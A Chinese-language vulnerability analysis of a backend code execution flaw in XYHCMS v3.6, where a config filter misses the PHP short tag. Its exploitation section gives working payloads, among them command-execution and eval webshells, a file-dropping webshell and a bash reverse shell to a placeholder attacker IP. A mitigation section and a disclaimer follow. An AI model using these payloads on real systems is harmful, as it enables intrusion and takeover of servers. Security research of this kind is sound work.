xyhcms v3.6 命令执行
字数 958 2025-08-25 22:58:40
XYHCMS v3.6 命令执行漏洞分析与利用
漏洞概述
XYHCMS是一款开源的CMS内容管理系统,其v3.6版本存在一个后台代码执行漏洞。攻击者可以利用该漏洞在site.php配置文件中注入恶意代码,从而获取目标系统的控制权限。
漏洞分析
漏洞位置
- 配置文件写入点:
App/Runtime/Data/config/site.php - 后台处理文件:
App/Manage/Controller/SystemController.class.php
漏洞成因
系统在将配置数据写入site.php文件时,虽然进行了PHP代码检测,但过滤机制不完善:
if (stripos($data[$key], '<?php') !== false || preg_match($preg_param, $data[$key])) {
$this->error('禁止输入php代码');
}
这段代码仅检测了标准的<?php标签,但可以使用短标签<?=来绕过检测。
漏洞复现步骤
-
安装XYHCMS v3.6: 按照正常流程安装系统
-
访问后台: 获取后台管理权限
-
查找配置写入功能: 定位到可以修改系统配置的功能点
-
构造恶意输入: 使用短标签形式注入PHP代码
- 示例:
<?=phpinfo();?> - 其他可利用的payload:
<?=system($_GET['cmd']);?><?=eval($_POST['x']);?>
- 示例:
-
触发代码执行:
- 修改配置后,系统会将内容写入
site.php - 访问该文件或相关功能触发代码执行
- 修改配置后,系统会将内容写入
漏洞利用
直接利用方式
-
通过后台配置功能注入Webshell:
<?=eval($_POST['cmd']);?> -
访问
App/Runtime/Data/config/site.php文件执行任意命令
高级利用
-
反弹shell:
<?=system('bash -c "bash -i >& /dev/tcp/攻击者IP/端口 0>&1"');?> -
文件上传:
<?=file_put_contents('shell.php', '<?php eval($_POST[cmd]);?>');?>
防御措施
临时解决方案
-
修改
SystemController.class.php中的过滤逻辑,增加对短标签的检测:if (stripos($data[$key], '<?php') !== false || stripos($data[$key], '<?=') !== false || preg_match($preg_param, $data[$key])) { $this->error('禁止输入PHP代码'); } -
禁用PHP短标签:
- 修改php.ini中的
short_open_tag = Off
- 修改php.ini中的
长期解决方案
-
升级到最新版本的XYHCMS
-
对写入配置文件的内容进行严格的过滤和转义
-
限制配置文件的访问权限
漏洞影响
- 影响版本: XYHCMS v3.6
- 危害等级: 高危
- 影响范围: 所有使用受影响版本的系统
参考链接
- 原始漏洞报告: 先知社区
- XYHCMS官网: (请自行查找最新官网地址)
免责声明
本文档仅用于安全研究和教育目的。未经授权对他人系统进行测试或攻击是违法行为。